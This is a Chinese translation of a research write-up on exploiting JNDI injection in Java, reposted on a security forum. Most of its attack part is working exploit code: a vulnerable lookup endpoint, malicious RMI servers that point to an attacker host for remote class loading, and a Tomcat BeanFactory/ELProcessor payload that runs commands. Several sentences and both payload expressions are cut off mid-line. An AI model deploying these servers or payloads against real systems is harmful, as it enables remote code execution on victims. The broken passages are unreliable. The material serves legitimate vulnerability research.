

原文：<https://www.veracode.com/blog/research/exploiting-jndi-injections-java>

简介

Java Naming and Directory Interface(JNDI)是一种Java

API，可以通过名称来发现和查找数据和对象。这些对象可以存储在不同的命名或目录服务中，如远程方法调用(RMI)、公共对象请求代理体系结构(CORBA)、轻量级目录访问协议(LDAP)等。

换句话说，JNDI就是一个简单的Java API（如“InitialContext.Lookup（String

Name）”），它只接受一个字符串参数，如果该参数来自不可信的源的话，则可能因为远程类加载而引发远程代码执行攻击。

当被请求对象的名称处于攻击者掌控之下时，他们就能将受害Java应用程序指向恶意的RMI/LDAP/CORBA服务器，并使用任意对象进行响应。如果该对象是“javax.naming

由于其简单性，即使“InitialContext.lookup”方法没有直接暴露给受污染的数据，它对于利用Java漏洞来说也非常有用。在某些情况下，仍然可以通过反序列化或不安全的反序列化来利用该漏洞。

易受攻击的应用程序示例

```
@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
    return new javax.naming.InitialContext().lookup(name);
}
```

JDK1.8.0_191版本之前的JNDI注入攻击

通过请求URL/lookup/?name=ldap://127.0.0.1:1389/Object，可以使易受攻击的服务器连接到我们掌控之下的地址。为了触发远程类加载，恶意RMI服务器可以提供一个恶意的Reference对象。

```
public class EvilRMIServer {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);

        //creating a reference with 'ExportObject' factory with the factory location of 'http://_attacker.com/'
        Reference ref = new javax.naming.Reference("ExportObject", "ExportObject", "http://_attacker.com/");

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}
```

由于目标服务器不知道“ExploitObject”，因此，它将从http://_attacker.com_/ExploitObject.class加载并执行其字节码，进而导致RCE攻击。

当Oracle向RMI添加代码库限制时，这种技术在Java

8u121及以前版本上运行良好。在此之后，人们发现可以使用恶意LDAP服务器返回相同的reference，具体参阅“A Journey from JNDI/LDAP manipulation to remote code execution dream land”。读者可以从“Java Unmarshaller Security”GitHub存储库中找到一个非常不错的示例代码。

两年后，在Java

8U191更新中，Oracle公司对LDAP向量施加了相同的限制，并公布了CVE-2018-3149，从此，JNDI远程类加载的大门就被关闭了。然而，攻击者仍然可以通过JNDI注入触发的漏洞来利用该漏洞。

JDK 1.8.0_191+版本中的JNDI注入漏洞利用方法

自Java

8U191版本以来，当JNDI客户端接收到Reference对象时，其“ClassFactoryLocation”在RMI或LDAP中都没有用到。另一方面，我们仍然可以在“JavaFactory”属性中指定一个恶意的ClassFactoryLocation。

该类将用于从攻击者控制的“javax.naming.Reference”中提取实际的对象。它应该位于目标类路径中，实现“javax.naming.spi.ObjectFactory”，并至少提供一个“GetObjectFromReference”方法。

```
public interface ObjectFactory {
    /**
     * Creates an object using the location or reference information
     * specified.
     */
}
```

```

* ...
/*
    public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                   Hashtable environment)

        throws Exception;
}

```

其主要思想是：在目标类路径中找到一个工厂，并对Reference的属性执行一些危险的操作。通过考察该方法在JDK和流行库中的各种实现，我们发现了一个在漏洞利用方面

Apache Tomcat服务器中的“org.apache.naming.factory.BeanFactory”类中含有使用反射创建bean的逻辑：

```

public class BeanFactory
    implements ObjectFactory {

    /**
     * Create a new Bean instance.
     *
     * @param obj The reference object describing the Bean
     */
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                    Hashtable environment)

        throws NamingException {

        if (obj instanceof ResourceRef) {

            try {

                Reference ref = (Reference) obj;
                String beanClassName = ref.getClassName();
                Class beanClass = null;
                ClassLoader tcl =
                    Thread.currentThread().getContextClassLoader();
                if (tcl != null) {
                    try {
                        beanClass = tcl.loadClass(beanClassName);
                    } catch (ClassNotFoundException e) {
                    }
                } else {
                    try {
                        beanClass = Class.forName(beanClassName);
                    } catch (ClassNotFoundException e) {
                        e.printStackTrace();
                    }
                }

                ...

                BeanInfo bi = Introspector.getBeanInfo(beanClass);
                PropertyDescriptor[] pda = bi.getPropertyDescriptors();

                Object bean = beanClass.getConstructor().newInstance();

                /* Look for properties with explicitly configured setter */
                RefAddr ra = ref.get("forceString");
                Map forced = new HashMap<>();
                String value;

                if (ra != null) {
                    value = (String)ra.getContent();
                    Class paramTypes[] = new Class[1];
                    paramTypes[0] = String.class;
                    String setterName;
                    int index;

                    /* Items are given as comma separated list */
                    for (String param: value.split(",")) {
                        param = param.trim();
                        /* A single item can either be of the form name=method
                         * or just a property name (and we will use a standard

```

```

        * setter) */
index = param.indexOf('=');
if (index >= 0) {
    setterName = param.substring(index + 1).trim();
    param = param.substring(0, index).trim();
} else {
    setterName = "set" +
        param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
        param.substring(1);
}
try {
    forced.put(param,
        beanClass.getMethod(setterName, paramTypes));
} catch (NoSuchMethodException|SecurityException ex) {
    throw new NamingException
        ("Forced String setter " + setterName +
         " not found for property " + param);
}
}
}

Enumeration e = ref.getAll();

while (e.hasMoreElements()) {

    ra = e.nextElement();
    String propName = ra.getType();

    if (propName.equals(Constants.FACTORY) ||
        propName.equals("scope") || propName.equals("auth") ||
        propName.equals("forceString") ||
        propName.equals("singleton")) {
        continue;
    }

    value = (String)ra.getContent();

    Object[] valueArray = new Object[1];

    /* Shortcut for properties with explicitly configured setter */
    Method method = forced.get(propName);
    if (method != null) {
        valueArray[0] = value;
        try {
            method.invoke(bean, valueArray);
        } catch (IllegalAccessException|
            IllegalArgumentException|
            InvocationTargetException ex) {
            throw new NamingException
                ("Forced String setter " + method.getName() +
                 " threw exception for property " + propName);
        }
        continue;
    }
}

...

```

“BeanFactory”类可以创建任意bean的实例，并为所有的属性调用其setter。其中，目标bean的类名、属性和属性值都来自于Reference对象，而该对象处于攻击者的控制之下。

目标类将提供一个公共的无参数构造函数和只有一个“string”参数的公共setter。事实上，这些setter不一定以“set.”开头。因为“BeanFactory”含有一些逻辑，用于处理如何设置属性。

```

/* Look for properties with explicitly configured setter */
RefAddr ra = ref.get("forceString");
Map forced = new HashMap<>();
String value;

if (ra != null) {
    value = (String)ra.getContent();
    Class paramTypes[] = new Class[1];
    paramTypes[0] = String.class;
    String setterName;

```

```

int index;

/* Items are given as comma separated list */
for (String param: value.split(",")) {
    param = param.trim();
    /* A single item can either be of the form name=method
     * or just a property name (and we will use a standard
     * setter) */
    index = param.indexOf('=');
    if (index >= 0) {
        setterName = param.substring(index + 1).trim();
        param = param.substring(0, index).trim();
    } else {
        setterName = "set" +
            param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
            param.substring(1);
    }
}

```

这里使用的魔法属性是“forceString”。例如，通过将它设置为“x=eval”，我们可以为属性“x”调用名为“eval”而非“setX”的方法。

因此，通过使用“BeanFactory”类，我们可以使用默认构造函数创建任意类的实例，并使用一个“string”参数调用任意的公共方法。

在这里，还有一个比较有用的类，即“javax.el.elprocessor”。利用这个类的“eval”方法，我们可以指定一个字符串，用以表示要执行的Java表达式语言模板。

```

package javax.el;
...
public class ELProcessor {
...
    public Object eval(String expression) {
        return getValue(expression, Object.class);
    }
}

```

下面是执行任意命令的恶意表达式:

```

{"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.Pro

```

综合应用

在打补丁之后，LDAP和RMI之间几乎没有什么区别，所以，为了简单起见，我们将使用RMI。

我们将编写自己的恶意RMI服务器，该服务器使用精心构造的“ResourceRef”对象来进行响应:

```

import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;

public class EvilRMIServerNew {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);

        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsexploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", "\\\"\\\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineBy

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

```

这个服务器以序列化对象“org.apache.naming.ResourceRef”作为响应，借助该对象精心构造的各种属性，就能在客户端上触发攻击者所需的行为。

然后，我们来触发受害Java进程上的JNDI解析:

```

new InitialContext().lookup("rmi://127.0.0.1:1097/Object")

```

当对这个对象进行反序列化时，不会出现任何不希望发生的情况。但是，由于它扩展了“javax.naming.Reference”，因此“org.apache.naming.factory.BeanFactory”工厂将jndi.s.artspl0it.com”命令。

这里唯一的限制是，目标Java应用程序在类路径中提供一个来自Apache Tomcat服务器的“org.apache.naming.factory.BeanFactory”类，但是其他应用程序服务器的包含危险功能的对象工厂可能与之不同。

解决方案

就本文所介绍的安全漏洞来说，真正的安全隐患不在JDK或Apache Tomcat库中，而是在将用户可控数据传递给“initialContext.lookup()”函数的自定义应用程序中，因为即使在具有完整补丁的JDK安装中，它仍然存在相应的安全风险。需要

点击收藏 | 0 关注 | 1

[上一篇：区块链安全—浅谈代币合约ERC20](#) [下一篇：使用基于Web的攻击手法发现并入侵...](#)

1. 0 条回复
- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)